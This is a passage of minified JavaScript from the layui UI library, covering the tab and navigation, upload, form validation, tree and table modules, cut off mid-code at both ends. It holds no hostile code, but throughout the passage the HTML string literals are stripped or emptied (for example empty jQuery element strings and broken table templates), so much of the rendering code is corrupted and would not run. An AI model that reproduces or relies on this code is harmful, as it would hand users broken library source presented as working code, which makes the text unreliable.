    • ";return s[0]?s.before(c):n.append(c),o.append('
      '+(a.content||"")+"
      "),y.hideTabMore(!0),y.tabAuto(),this},s.prototype.tabDelete=function(i,a){var e=".layui-tab-title",l=t(".layui-tab[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-id="'+a+'"]');return y.tabDelete(null,s),this},s.prototype.tabChange=function(i,a){var e=".layui-tab-title",l=t(".layui-tab[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-id="'+a+'"]');return y.tabClick.call(s[0],null,null,s),this},s.prototype.tab=function(i){i=i||{},v.on("click",i.headerElem,function(a){var e=t(this).index();y.tabClick.call(this,a,e,null,i)})},s.prototype.progress=function(i,a){var e="layui-progress",l=t("."+e+"[lay-filter="+i+"]"),n=l.find("."+e+"-bar"),s=n.find("."+e+"-text");return n.css("width",a),s.text(a),this};var o=".layui-nav",c="layui-nav-item",r="layui-nav-bar",u="layui-nav-tree",d="layui-nav-child",h="layui-nav-more",f="layui-anim layui-anim-upbit",y={tabClick:function(i,a,s,o){o=o||{};var c=s||t(this),a=a||c.parent().children("li").index(c),r=o.headerElem?c.parent():c.parents(".layui-tab").eq(0),u=o.bodyElem?t(o.bodyElem):r.children(".layui-tab-content").children(".layui-tab-item"),d=c.find("a"),h=r.attr("lay-filter");"javascript:;"!==d.attr("href")&&"_blank"===d.attr("target")||(c.addClass(l).siblings().removeClass(l),u.eq(a).addClass(n).siblings().removeClass(n)),layui.event.call(this,e,"tab("+h+")",{elem:r,index:a})},tabDelete:function(i,a){var n=a||t(this).parent(),s=n.index(),o=n.parents(".layui-tab").eq(0),c=o.children(".layui-tab-content").children(".layui-tab-item"),r=o.attr("lay-filter");n.hasClass(l)&&(n.next()[0]?y.tabClick.call(n.next()[0],null,s+1):n.prev()[0]&&y.tabClick.call(n.prev()[0],null,s-1)),n.remove(),c.eq(s).remove(),setTimeout(function(){y.tabAuto()},50),layui.event.call(this,e,"tabDelete("+r+")",{elem:o,index:s})},tabAuto:function(){var i="layui-tab-more",e="layui-tab-bar",l="layui-tab-close",n=this;t(".layui-tab").each(function(){var s=t(this),o=s.children(".layui-tab-title"),c=(s.children(".layui-tab-content").children(".layui-tab-item"),'lay-stope="tabmore"'),r=t('');if(n===window&&8!=a.ie&&y.hideTabMore(!0),s.attr("lay-allowClose")&&o.find("li").each(function(){var i=t(this);if(!i.find("."+l)[0]){var a=t('');a.on("click",y.tabDelete),i.append(a)}}),o.prop("scrollWidth")>o.outerWidth()+1){if(o.find("."+e)[0])return;o.append(r),s.attr("overflow",""),r.on("click",function(t){o[this.title?"removeClass":"addClass"](i),this.title=this.title?"":"收缩"})}else o.find("."+e).remove(),s.removeAttr("overflow")})},hideTabMore:function(i){var a=t(".layui-tab-title");i!==!0&&"tabmore"===t(i.target).attr("lay-stope")||(a.removeClass("layui-tab-more"),a.find(".layui-tab-bar").attr("title",""))},clickThis:function(){var i=t(this),a=i.parents(o),n=a.attr("lay-filter"),s=i.find("a"),c="string"==typeof i.attr("lay-unselect");i.find("."+d)[0]||("javascript:;"!==s.attr("href")&&"_blank"===s.attr("target")||c||(a.find("."+l).removeClass(l),i.addClass(l)),layui.event.call(this,e,"nav("+n+")",i))},clickChild:function(){var i=t(this),a=i.parents(o),n=a.attr("lay-filter");a.find("."+l).removeClass(l),i.addClass(l),layui.event.call(this,e,"nav("+n+")",i)},showChild:function(){var i=t(this),a=i.parents(o),e=i.parent(),l=i.siblings("."+d);a.hasClass(u)&&(l.removeClass(f),e["none"===l.css("display")?"addClass":"removeClass"](c+"ed"))},collapse:function(){var i=t(this),a=i.find(".layui-colla-icon"),l=i.siblings(".layui-colla-content"),s=i.parents(".layui-collapse").eq(0),o=s.attr("lay-filter"),c="none"===l.css("display");if("string"==typeof s.attr("lay-accordion")){var r=s.children(".layui-colla-item").children("."+n);r.siblings(".layui-colla-title").children(".layui-colla-icon").html(""),r.removeClass(n)}l[c?"addClass":"removeClass"](n),a.html(c?"":""),layui.event.call(this,e,"collapse("+o+")",{title:i,content:l,show:c})}};s.prototype.init=function(i,e){var l=function(){return e?'[lay-filter="'+e+'"]':""}(),s={tab:function(){y.tabAuto.call({})},nav:function(){var i=200,e={},s={},p={},v=function(l,o,c){var r=t(this),y=r.find("."+d);o.hasClass(u)?l.css({top:r.position().top,height:r.children("a").height(),opacity:1}):(y.addClass(f),l.css({left:r.position().left+parseFloat(r.css("marginLeft")),top:r.position().top+r.height()-l.height()}),e[c]=setTimeout(function(){l.css({width:r.width(),opacity:1})},a.ie&&a.ie<10?0:i),clearTimeout(p[c]),"block"===y.css("display")&&clearTimeout(s[c]),s[c]=setTimeout(function(){y.addClass(n),r.find("."+h).addClass(h+"d")},300))};t(o+l).each(function(a){var l=t(this),o=t(''),f=l.find("."+c);l.find("."+r)[0]||(l.append(o),f.on("mouseenter",function(){v.call(this,o,l,a)}).on("mouseleave",function(){l.hasClass(u)||(clearTimeout(s[a]),s[a]=setTimeout(function(){l.find("."+d).removeClass(n),l.find("."+h).removeClass(h+"d")},300))}),l.on("mouseleave",function(){clearTimeout(e[a]),p[a]=setTimeout(function(){l.hasClass(u)?o.css({height:0,top:o.position().top+o.height()/2,opacity:0}):o.css({width:0,left:o.position().left+o.width()/2,opacity:0})},i)})),f.each(function(){var i=t(this),a=i.find("."+d);if(a[0]&&!i.find("."+h)[0]){var e=i.children("a");e.append('')}i.off("click",y.clickThis).on("click",y.clickThis),i.children("a").off("click",y.showChild).on("click",y.showChild),a.children("dd").off("click",y.clickChild).on("click",y.clickChild)})})},breadcrumb:function(){var i=".layui-breadcrumb";t(i+l).each(function(){var i=t(this),a="lay-separator",e=i.attr(a)||"/",l=i.find("a");l.next("span["+a+"]")[0]||(l.each(function(i){i!==l.length-1&&t(this).after(""+e+"")}),i.css("visibility","visible"))})},progress:function(){var i="layui-progress";t("."+i+l).each(function(){var a=t(this),e=a.find(".layui-progress-bar"),l=e.attr("lay-percent");e.css("width",function(){return/^.+\/.+$/.test(l)?100*new Function("return "+l)()+"%":l}()),a.attr("lay-showPercent")&&setTimeout(function(){e.html(''+l+"")},350)})},collapse:function(){var i="layui-collapse";t("."+i+l).each(function(){var i=t(this).find(".layui-colla-item");i.each(function(){var i=t(this),a=i.find(".layui-colla-title"),e=i.find(".layui-colla-content"),l="none"===e.css("display");a.find(".layui-colla-icon").remove(),a.append(''+(l?"":"")+""),a.off("click",y.collapse).on("click",y.collapse)})})}};return s[i]?s[i]():layui.each(s,function(i,t){t()})},s.prototype.render=s.prototype.init;var p=new s,v=t(document);p.render();var b=".layui-tab-title li";v.on("click",b,y.tabClick),v.on("click",y.hideTabMore),t(window).on("resize",y.tabAuto),i(e,p)});layui.define("layer",function(e){"use strict";var i=layui.$,t=layui.layer,n=layui.hint(),a=layui.device(),o={config:{},set:function(e){var t=this;return t.config=i.extend({},t.config,e),t},on:function(e,i){return layui.onevent.call(this,r,e,i)}},l=function(){var e=this;return{upload:function(i){e.upload.call(e,i)},config:e.config}},r="upload",u="layui-upload-file",c="layui-upload-form",f="layui-upload-iframe",s="layui-upload-choose",p=function(e){var t=this;t.config=i.extend({},t.config,o.config,e),t.render()};p.prototype.config={accept:"images",exts:"",auto:!0,bindAction:"",url:"",field:"file",method:"post",data:{},drag:!0,size:0,number:0,multiple:!1},p.prototype.render=function(e){var t=this,e=t.config;e.elem=i(e.elem),e.bindAction=i(e.bindAction),t.file(),t.events()},p.prototype.file=function(){var e=this,t=e.config,n=e.elemFile=i(['"].join("")),o=t.elem.next();(o.hasClass(u)||o.hasClass(c))&&o.remove(),a.ie&&a.ie<10&&t.elem.wrap('
      '),e.isFile()?(e.elemFile=t.elem,t.field=t.elem[0].name):t.elem.after(n),a.ie&&a.ie<10&&e.initIE()},p.prototype.initIE=function(){var e=this,t=e.config,n=i(''),a=i(['
      ',"
      "].join(""));i("#"+f)[0]||i("body").append(n),t.elem.next().hasClass(f)||(e.elemFile.wrap(a),t.elem.next("."+f).append(function(){var e=[];return layui.each(t.data,function(i,t){e.push('')}),e.join("")}()))},p.prototype.msg=function(e){return t.msg(e,{icon:2,shift:6})},p.prototype.isFile=function(){var e=this.config.elem[0];if(e)return"input"===e.tagName.toLocaleLowerCase()&&"file"===e.type},p.prototype.preview=function(e){var i=this;window.FileReader&&layui.each(i.chooseFiles,function(i,t){var n=new FileReader;n.readAsDataURL(t),n.onload=function(){e&&e(i,t,this.result)}})},p.prototype.upload=function(e,t){var n,o=this,l=o.config,r=o.elemFile[0],u=function(){var t=0,n=0,a=e||o.files||o.chooseFiles||r.files,u=function(){l.multiple&&t+n===o.fileLength&&"function"==typeof l.allDone&&l.allDone({total:o.fileLength,successful:t,aborted:n})};layui.each(a,function(e,a){var r=new FormData;r.append(l.field,a),layui.each(l.data,function(e,i){r.append(e,i)}),i.ajax({url:l.url,type:l.method,data:r,contentType:!1,processData:!1,dataType:"json",success:function(i){t++,d(e,i),u()},error:function(){n++,o.msg("请求上传接口出现异常"),m(e),u()}})})},c=function(){var e=i("#"+f);o.elemFile.parent().submit(),clearInterval(p.timer),p.timer=setInterval(function(){var i,t=e.contents().find("body");try{i=t.text()}catch(n){o.msg("获取上传后的响应信息出现异常"),clearInterval(p.timer),m()}i&&(clearInterval(p.timer),t.html(""),d(0,i))},30)},d=function(e,i){if(o.elemFile.next("."+s).remove(),r.value="","object"!=typeof i)try{i=JSON.parse(i)}catch(t){return i={},o.msg("请对上传接口返回有效JSON")}"function"==typeof l.done&&l.done(i,e||0,function(e){o.upload(e)})},m=function(e){l.auto&&(r.value=""),"function"==typeof l.error&&l.error(e||0,function(e){o.upload(e)})},h=l.exts,v=function(){var i=[];return layui.each(e||o.chooseFiles,function(e,t){i.push(t.name)}),i}(),g={preview:function(e){o.preview(e)},upload:function(e,i){var t={};t[e]=i,o.upload(t)},pushFile:function(){return o.files=o.files||{},layui.each(o.chooseFiles,function(e,i){o.files[e]=i}),o.files}},y=function(){return"choose"===t?l.choose&&l.choose(g):(l.before&&l.before(g),a.ie?a.ie>9?u():c():void u())};if(v=0===v.length?r.value.match(/[^\/\\]+\..+/g)||[]||"":v,0!==v.length){switch(l.accept){case"file":if(h&&!RegExp("\\w\\.("+h+")$","i").test(escape(v)))return o.msg("选择的文件中包含不支持的格式"),r.value="";break;case"video":if(!RegExp("\\w\\.("+(h||"avi|mp4|wma|rmvb|rm|flash|3gp|flv")+")$","i").test(escape(v)))return o.msg("选择的视频中包含不支持的格式"),r.value="";break;case"audio":if(!RegExp("\\w\\.("+(h||"mp3|wav|mid")+")$","i").test(escape(v)))return o.msg("选择的音频中包含不支持的格式"),r.value="";break;default:if(layui.each(v,function(e,i){RegExp("\\w\\.("+(h||"jpg|png|gif|bmp|jpeg$")+")","i").test(escape(i))||(n=!0)}),n)return o.msg("选择的图片中包含不支持的格式"),r.value=""}if(o.fileLength=function(){var i=0,t=e||o.files||o.chooseFiles||r.files;return layui.each(t,function(){i++}),i}(),l.number&&o.fileLength>l.number)return o.msg("同时最多只能上传的数量为:"+l.number);if(l.size>0&&!(a.ie&&a.ie<10)){var F;if(layui.each(o.chooseFiles,function(e,i){if(i.size>1024*l.size){var t=l.size/1024;t=t>=1?Math.floor(t)+(t%1>0?t.toFixed(1):0)+"MB":l.size+"KB",r.value="",F=t}}),F)return o.msg("文件不能超过"+F)}y()}},p.prototype.events=function(){var e=this,t=e.config,o=function(i){e.chooseFiles={},layui.each(i,function(i,t){var n=(new Date).getTime();e.chooseFiles[n+"-"+i]=t})},l=function(i,n){var a=e.elemFile,o=i.length>1?i.length+"个文件":(i[0]||{}).name||a[0].value.match(/[^\/\\]+\..+/g)||[]||"";a.next().hasClass(s)&&a.next().remove(),e.upload(null,"choose"),e.isFile()||t.choose||a.after(''+o+"")};t.elem.off("upload.start").on("upload.start",function(){var a=i(this),o=a.attr("lay-data");if(o)try{o=new Function("return "+o)(),e.config=i.extend({},t,o)}catch(l){n.error("Upload element property lay-data configuration item has a syntax error: "+o)}e.config.item=a,e.elemFile[0].click()}),a.ie&&a.ie<10||t.elem.off("upload.over").on("upload.over",function(){var e=i(this);e.attr("lay-over","")}).off("upload.leave").on("upload.leave",function(){var e=i(this);e.removeAttr("lay-over")}).off("upload.drop").on("upload.drop",function(n,a){var r=i(this),u=a.originalEvent.dataTransfer.files||[];r.removeAttr("lay-over"),o(u),t.auto?e.upload(u):l(u)}),e.elemFile.off("upload.change").on("upload.change",function(){var i=this.files||[];o(i),t.auto?e.upload():l(i)}),t.bindAction.off("upload.action").on("upload.action",function(){e.upload()}),t.elem.data("haveEvents")||(e.elemFile.on("change",function(){i(this).trigger("upload.change")}),t.elem.on("click",function(){e.isFile()||i(this).trigger("upload.start")}),t.drag&&t.elem.on("dragover",function(e){e.preventDefault(),i(this).trigger("upload.over")}).on("dragleave",function(e){i(this).trigger("upload.leave")}).on("drop",function(e){e.preventDefault(),i(this).trigger("upload.drop",e)}),t.bindAction.on("click",function(){i(this).trigger("upload.action")}),t.elem.data("haveEvents",!0))},o.render=function(e){var i=new p(e);return l.call(i)},e(r,o)});layui.define("layer",function(e){"use strict";var t=layui.$,i=layui.layer,a=layui.hint(),n=layui.device(),l="form",r=".layui-form",s="layui-this",o="layui-hide",u="layui-disabled",c=function(){this.config={verify:{required:[/[\S]+/,"必填项不能为空"],phone:[/^1\d{10}$/,"请输入正确的手机号"],email:[/^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/,"邮箱格式不正确"],url:[/(^#)|(^http(s*):\/\/[^\s]+\.[^\s]+)/,"链接格式不正确"],number:function(e){if(!e||isNaN(e))return"只能填写数字"},date:[/^(\d{4})[-\/](\d{1}|0\d{1}|1[0-2])([-\/](\d{1}|0\d{1}|[1-2][0-9]|3[0-1]))*$/,"日期格式不正确"],identity:[/(^\d{15}$)|(^\d{17}(x|X|\d)$)/,"请输入正确的身份证号"]}}};c.prototype.set=function(e){var i=this;return t.extend(!0,i.config,e),i},c.prototype.verify=function(e){var i=this;return t.extend(!0,i.config.verify,e),i},c.prototype.on=function(e,t){return layui.onevent.call(this,l,e,t)},c.prototype.render=function(e,i){var n=this,c=t(r+function(){return i?'[lay-filter="'+i+'"]':""}()),d={select:function(){var e,i="请选择",a="layui-form-select",n="layui-select-title",r="layui-select-none",d="",f=c.find("select"),y=function(i,l){t(i.target).parent().hasClass(n)&&!l||(t("."+a).removeClass(a+"ed "+a+"up"),e&&d&&e.val(d)),e=null},h=function(i,c,f){var h=t(this),p=i.find("."+n),m=p.find("input"),k=i.find("dl"),g=k.children("dd");if(!c){var x=function(){var e=i.offset().top+i.outerHeight()+5-v.scrollTop(),t=k.outerHeight();i.addClass(a+"ed"),g.removeClass(o),e+t>v.height()&&e>=t&&i.addClass(a+"up")},b=function(e){i.removeClass(a+"ed "+a+"up"),m.blur(),e||C(m.val(),function(e){e&&(d=k.find("."+s).html(),m&&m.val(d))})};p.on("click",function(e){i.hasClass(a+"ed")?b():(y(e,!0),x()),k.find("."+r).remove()}),p.find(".layui-edge").on("click",function(){m.focus()}),m.on("keyup",function(e){var t=e.keyCode;9===t&&x()}).on("keydown",function(e){var t=e.keyCode;9===t?b():13===t&&e.preventDefault()});var C=function(e,i,a){var n=0;layui.each(g,function(){var i=t(this),l=i.text(),r=l.indexOf(e)===-1;(""===e||"blur"===a?e!==l:r)&&n++,"keyup"===a&&i[r?"addClass":"removeClass"](o)});var l=n===g.length;return i(l),l},w=function(e){var t=this.value,i=e.keyCode;return 9!==i&&13!==i&&37!==i&&38!==i&&39!==i&&40!==i&&(C(t,function(e){e?k.find("."+r)[0]||k.append('

      无匹配项

      '):k.find("."+r).remove()},"keyup"),void(""===t&&k.find("."+r).remove()))};f&&m.on("keyup",w).on("blur",function(t){e=m,d=k.find("."+s).html(),setTimeout(function(){C(m.val(),function(e){d||m.val("")},"blur")},200)}),g.on("click",function(){var e=t(this),a=e.attr("lay-value"),n=h.attr("lay-filter");return!e.hasClass(u)&&(e.hasClass("layui-select-tips")?m.val(""):(m.val(e.text()),e.addClass(s)),e.siblings().removeClass(s),h.val(a).removeClass("layui-form-danger"),layui.event.call(this,l,"select("+n+")",{elem:h[0],value:a,othis:i}),b(!0),!1)}),i.find("dl>dt").on("click",function(e){return!1}),t(document).off("click",y).on("click",y)}};f.each(function(e,l){var r=t(this),o=r.next("."+a),c=this.disabled,d=l.value,f=t(l.options[l.selectedIndex]),y=l.options[0];if("string"==typeof r.attr("lay-ignore"))return r.show();var v="string"==typeof r.attr("lay-search"),p=y?y.value?i:y.innerHTML||i:i,m=t(['
      ','
      ','
      ','
      '+function(e){var t=[];return layui.each(e,function(e,a){0!==e||a.value?"optgroup"===a.tagName.toLowerCase()?t.push("
      "+a.label+"
      "):t.push('
      '+a.innerHTML+"
      "):t.push('
      '+(a.innerHTML||i)+"
      ")}),0===t.length&&t.push('
      没有选项
      '),t.join("")}(r.find("*"))+"
      ","
      "].join(""));o[0]&&o.remove(),r.after(m),h.call(this,m,c,v)})},checkbox:function(){var e={checkbox:["layui-form-checkbox","layui-form-checked","checkbox"],_switch:["layui-form-switch","layui-form-onswitch","switch"]},i=c.find("input[type=checkbox]"),a=function(e,i){var a=t(this);e.on("click",function(){var t=a.attr("lay-filter"),n=(a.attr("lay-text")||"").split("|");a[0].disabled||(a[0].checked?(a[0].checked=!1,e.removeClass(i[1]).find("em").text(n[1])):(a[0].checked=!0,e.addClass(i[1]).find("em").text(n[0])),layui.event.call(a[0],l,i[2]+"("+t+")",{elem:a[0],value:a[0].value,othis:e}))})};i.each(function(i,n){var l=t(this),r=l.attr("lay-skin"),s=(l.attr("lay-text")||"").split("|"),o=this.disabled;"switch"===r&&(r="_"+r);var c=e[r]||e.checkbox;if("string"==typeof l.attr("lay-ignore"))return l.show();var d=l.next("."+c[0]),f=t(['
      ',{_switch:""+((n.checked?s[0]:s[1])||"")+""}[r]||(n.title.replace(/\s/g,"")?""+n.title+"":"")+''+(r?"":"")+"","
      "].join(""));d[0]&&d.remove(),l.after(f),a.call(this,f,c)})},radio:function(){var e="layui-form-radio",i=["",""],a=c.find("input[type=radio]"),n=function(a){var n=t(this),s="layui-anim-scaleSpring";a.on("click",function(){var o=n[0].name,u=n.parents(r),c=n.attr("lay-filter"),d=u.find("input[name="+o.replace(/(\.|#|\[|\])/g,"\\$1")+"]");n[0].disabled||(layui.each(d,function(){var a=t(this).next("."+e);this.checked=!1,a.removeClass(e+"ed"),a.find(".layui-icon").removeClass(s).html(i[1])}),n[0].checked=!0,a.addClass(e+"ed"),a.find(".layui-icon").addClass(s).html(i[0]),layui.event.call(n[0],l,"radio("+c+")",{elem:n[0],value:n[0].value,othis:a}))})};a.each(function(a,l){var r=t(this),s=r.next("."+e),o=this.disabled;if("string"==typeof r.attr("lay-ignore"))return r.show();s[0]&&s.remove();var c=t(['
      ',''+i[l.checked?0:1]+"","
      "+function(){var e=l.title||"";return"string"==typeof r.next().attr("lay-radio")&&(e=r.next().html(),r.next().remove()),e}()+"
      ","
      "].join(""));r.after(c),n.call(this,c)})}};return e?d[e]?d[e]():a.error("不支持的"+e+"表单渲染"):layui.each(d,function(e,t){t()}),n};var d=function(){var e=t(this),a=f.config.verify,s=null,o="layui-form-danger",u={},c=e.parents(r),d=c.find("*[lay-verify]"),y=e.parents("form")[0],v=c.find("input,select,textarea"),h=e.attr("lay-filter");if(layui.each(d,function(e,l){var r=t(this),u=r.attr("lay-verify").split("|"),c=r.attr("lay-verType"),d=r.val();if(r.removeClass(o),layui.each(u,function(e,t){var u,f="",y="function"==typeof a[t];if(a[t]){var u=y?f=a[t](d,l):!a[t][0].test(d);if(f=f||a[t][1],u)return"tips"===c?i.tips(f,function(){return"string"==typeof r.attr("lay-ignore")||"select"!==l.tagName.toLowerCase()&&!/^checkbox|radio$/.test(l.type)?r:r.next()}(),{tips:1}):"alert"===c?i.alert(f,{title:"提示",shadeClose:!0}):i.msg(f,{icon:5,shift:6}),n.android||n.ios||l.focus(),r.addClass(o),s=!0}}),s)return s}),s)return!1;var p={};return layui.each(v,function(e,t){if(t.name=(t.name||"").replace(/^\s*|\s*&/,""),t.name){if(/^.*\[\]$/.test(t.name)){var i=t.name.match(/^(.*)\[\]$/g)[0];p[i]=0|p[i],t.name=t.name.replace(/^(.*)\[\]$/,"$1["+p[i]++ +"]")}/^checkbox|radio$/.test(t.type)&&!t.checked||(u[t.name]=t.value)}}),layui.event.call(this,l,"submit("+h+")",{elem:this,form:y,field:u})},f=new c,y=t(document),v=t(window);f.render(),y.on("reset",r,function(){var e=t(this).attr("lay-filter");setTimeout(function(){f.render(null,e)},50)}),y.on("submit",r,d).on("click","*[lay-submit]",d),e(l,f)});layui.define("jquery",function(e){"use strict";var o=layui.$,a=layui.hint(),i="layui-tree-enter",r=function(e){this.options=e},t={arrow:["",""],checkbox:["",""],radio:["",""],branch:["",""],leaf:""};r.prototype.init=function(e){var o=this;e.addClass("layui-box layui-tree"),o.options.skin&&e.addClass("layui-tree-skin-"+o.options.skin),o.tree(e),o.on(e)},r.prototype.tree=function(e,a){var i=this,r=i.options,n=a||r.nodes;layui.each(n,function(a,n){var l=n.children&&n.children.length>0,c=o('
        '),s=o(["
      • ",function(){return l?''+(n.spread?t.arrow[1]:t.arrow[0])+"":""}(),function(){return r.check?''+("checkbox"===r.check?t.checkbox[0]:"radio"===r.check?t.radio[0]:"")+"":""}(),function(){return'"+(''+(l?n.spread?t.branch[1]:t.branch[0]:t.leaf)+"")+(""+(n.name||"未命名")+"")}(),"
      • "].join(""));l&&(s.append(c),i.tree(c,n.children)),e.append(s),"function"==typeof r.click&&i.click(s,n),i.spread(s,n),r.drag&&i.drag(s,n)})},r.prototype.click=function(e,o){var a=this,i=a.options;e.children("a").on("click",function(e){layui.stope(e),i.click(o)})},r.prototype.spread=function(e,o){var a=this,i=(a.options,e.children(".layui-tree-spread")),r=e.children("ul"),n=e.children("a"),l=function(){e.data("spread")?(e.data("spread",null),r.removeClass("layui-show"),i.html(t.arrow[0]),n.find(".layui-icon").html(t.branch[0])):(e.data("spread",!0),r.addClass("layui-show"),i.html(t.arrow[1]),n.find(".layui-icon").html(t.branch[1]))};r[0]&&(i.on("click",l),n.on("dblclick",l))},r.prototype.on=function(e){var a=this,r=a.options,t="layui-tree-drag";e.find("i").on("selectstart",function(e){return!1}),r.drag&&o(document).on("mousemove",function(e){var i=a.move;if(i.from){var r=(i.to,o('
        '));e.preventDefault(),o("."+t)[0]||o("body").append(r);var n=o("."+t)[0]?o("."+t):r;n.addClass("layui-show").html(i.from.elem.children("a").html()),n.css({left:e.pageX+10,top:e.pageY+10})}}).on("mouseup",function(){var e=a.move;e.from&&(e.from.elem.children("a").removeClass(i),e.to&&e.to.elem.children("a").removeClass(i),a.move={},o("."+t).remove())})},r.prototype.move={},r.prototype.drag=function(e,a){var r=this,t=(r.options,e.children("a")),n=function(){var t=o(this),n=r.move;n.from&&(n.to={item:a,elem:e},t.addClass(i))};t.on("mousedown",function(){var o=r.move;o.from={item:a,elem:e}}),t.on("mouseenter",n).on("mousemove",n).on("mouseleave",function(){var e=o(this),a=r.move;a.from&&(delete a.to,e.removeClass(i))})},e("tree",function(e){var i=new r(e=e||{}),t=o(e.elem);return t[0]?void i.init(t):a.error("layui.tree 没有找到"+e.elem+"元素")})});layui.define(["laytpl","laypage","layer","form"],function(e){"use strict";var t=layui.$,i=layui.laytpl,a=layui.laypage,l=layui.layer,n=layui.form,o=layui.hint(),r=layui.device(),d={config:{checkName:"LAY_CHECKED",indexName:"LAY_TABLE_INDEX"},cache:{},index:layui.table?layui.table.index+1e4:0,set:function(e){var i=this;return i.config=t.extend({},i.config,e),i},on:function(e,t){return layui.onevent.call(this,s,e,t)}},c=function(){var e=this,t=e.config,i=t.id;return i&&(c.config[i]=t),{reload:function(t){e.reload.call(e,t)},config:t}},s="table",u=".layui-table",h="layui-hide",f="layui-none",y="layui-table-view",p=".layui-table-header",m=".layui-table-body",v=".layui-table-main",g=".layui-table-fixed",x=".layui-table-fixed-l",b=".layui-table-fixed-r",k=".layui-table-tool",C=".layui-table-page",w=".layui-table-sort",N="layui-table-edit",F="layui-table-hover",W=function(e){var t='{{#if(item2.colspan){}} colspan="{{item2.colspan}}"{{#} if(item2.rowspan){}} rowspan="{{item2.rowspan}}"{{#}}}';return e=e||{},['',"","{{# layui.each(d.data.cols, function(i1, item1){ }}","","{{# layui.each(item1, function(i2, item2){ }}",'{{# if(item2.fixed && item2.fixed !== "right"){ left = true; } }}','{{# if(item2.fixed === "right"){ right = true; } }}',function(){return e.fixed&&"right"!==e.fixed?'{{# if(item2.fixed && item2.fixed !== "right"){ }}':"right"===e.fixed?'{{# if(item2.fixed === "right"){ }}':""}(),'",e.fixed?"{{# }; }}":"","{{# }); }}","","{{# }); }}","","
        ','
        1){ }}","group","{{# } else { }}","{{d.index}}-{{item2.field || i2}}",'{{# if(item2.type !== "normal"){ }}'," laytable-cell-{{ item2.type }}","{{# } }}","{{# } }}",'" {{#if(item2.align){}}align="{{item2.align}}"{{#}}}>','{{# if(item2.type === "checkbox"){ }}','',"{{# } else { }}",'{{item2.title||""}}',"{{# if(!(item2.colspan > 1) && item2.sort){ }}",'',"{{# } }}","{{# } }}","
        ","
        "].join("")},z=['',"","
        "].join(""),A=['
        ',"{{# if(d.data.toolbar){ }}",'
        ',"{{# } }}",'
        ',"{{# var left, right; }}",'
        ',W(),"
        ",'
        ',z,"
        ","{{# if(left){ }}",'
        ','
        ',W({fixed:!0}),"
        ",'
        ',z,"
        ","
        ","{{# }; }}","{{# if(right){ }}",'
        ','
        ',W({fixed:"right"}),'
        ',"
        ",'
        ',z,"
        ","
        ","{{# }; }}","
        ","{{# if(d.data.page){ }}",'
        ','
        ',"
        ","{{# } }}","","
        "].join(""),T=t(window),M=t(document),S=function(e){var i=this;i.index=++d.index,i.config=t.extend({},i.config,d.config,e),i.render()};S.prototype.config={limit:10,loading:!0,cellMinWidth:60,text:{none:"无数据"}},S.prototype.render=function(){var e=this,a=e.config;if(a.elem=t(a.elem),a.where=a.where||{},a.id=a.id||a.elem.attr("id"),a.request=t.extend({pageName:"page",limitName:"limit"},a.request),a.response=t.extend({statusName:"code",statusCode:0,msgName:"msg",dataName:"data",countName:"count"},a.response),"object"==typeof a.page&&(a.limit=a.page.limit||a.limit,a.limits=a.page.limits||a.limits,e.page=a.page.curr=a.page.curr||1,delete a.page.elem,delete a.page.jump),!a.elem[0])return e;e.setArea();var l=a.elem,n=l.next("."+y),o=e.elem=t(i(A).render({VIEW_CLASS:y,data:a,index:e.index}));if(a.index=e.index,n[0]&&n.remove(),l.after(o),e.layHeader=o.find(p),e.layMain=o.find(v),e.layBody=o.find(m),e.layFixed=o.find(g),e.layFixLeft=o.find(x),e.layFixRight=o.find(b),e.layTool=o.find(k),e.layPage=o.find(C),e.layTool.html(i(t(a.toolbar).html()||"").render(a)),a.height&&e.fullSize(),a.cols.length>1){var r=e.layFixed.find(p).find("th");r.height(e.layHeader.height()-1-parseFloat(r.css("padding-top"))-parseFloat(r.css("padding-bottom")))}e.pullData(e.page),e.events()},S.prototype.initOpts=function(e){var t=this,i=(t.config,{checkbox:48,space:15,numbers:40});e.checkbox&&(e.type="checkbox"),e.space&&(e.type="space"),e.type||(e.type="normal"),"normal"!==e.type&&(e.unresize=!0,e.width=e.width||i[e.type])},S.prototype.setArea=function(){var e=this,t=e.config,i=0,a=0,l=0,n=0,o=t.width||function(){var e=function(i){var a,l;i=i||t.elem.parent(),a=i.width();try{l="none"===i.css("display")}catch(n){}return!i[0]||a&&!l?a:e(i.parent())};return e()}();e.eachCols(function(){i++}),o-=function(){return"line"===t.skin||"nob"===t.skin?2:i+1}(),layui.each(t.cols,function(t,i){layui.each(i,function(t,l){var r;return l?(e.initOpts(l),r=l.width||0,void(l.colspan>1||(/\d+%$/.test(r)?l.width=r=Math.floor(parseFloat(r)/100*o):r||(l.width=r=0,a++),n+=r))):void i.splice(t,1)})}),e.autoColNums=a,o>n&&a&&(l=(o-n)/a),layui.each(t.cols,function(e,i){layui.each(i,function(e,i){var a=i.minWidth||t.cellMinWidth;i.colspan>1||0===i.width&&(i.width=Math.floor(l>=a?l:a))})}),t.height&&/^full-\d+$/.test(t.height)&&(e.fullHeightGap=t.height.split("-")[1],t.height=T.height()-e.fullHeightGap)},S.prototype.reload=function(e){var i=this;i.config.data&&i.config.data.constructor===Array&&delete i.config.data,i.config=t.extend({},i.config,e),i.render()},S.prototype.page=1,S.prototype.pullData=function(e,i){var a=this,n=a.config,o=n.request,r=n.response,d=function(){"object"==typeof n.initSort&&a.sort(n.initSort.field,n.initSort.type)};if(a.startTime=(new Date).getTime(),n.url){var c={};c[o.pageName]=e,c[o.limitName]=n.limit,t.ajax({type:n.method||"get",url:n.url,data:t.extend(c,n.where),dataType:"json",success:function(t){t[r.statusName]!=r.statusCode?(a.renderForm(),a.layMain.html('
        '+(t[r.msgName]||"返回的数据状态异常")+"
        ")):(a.renderData(t,e,t[r.countName]),d(),n.time=(new Date).getTime()-a.startTime+" ms"),i&&l.close(i),"function"==typeof n.done&&n.done(t,e,t[r.countName])},error:function(e,t){a.layMain.html('
        数据接口请求异常
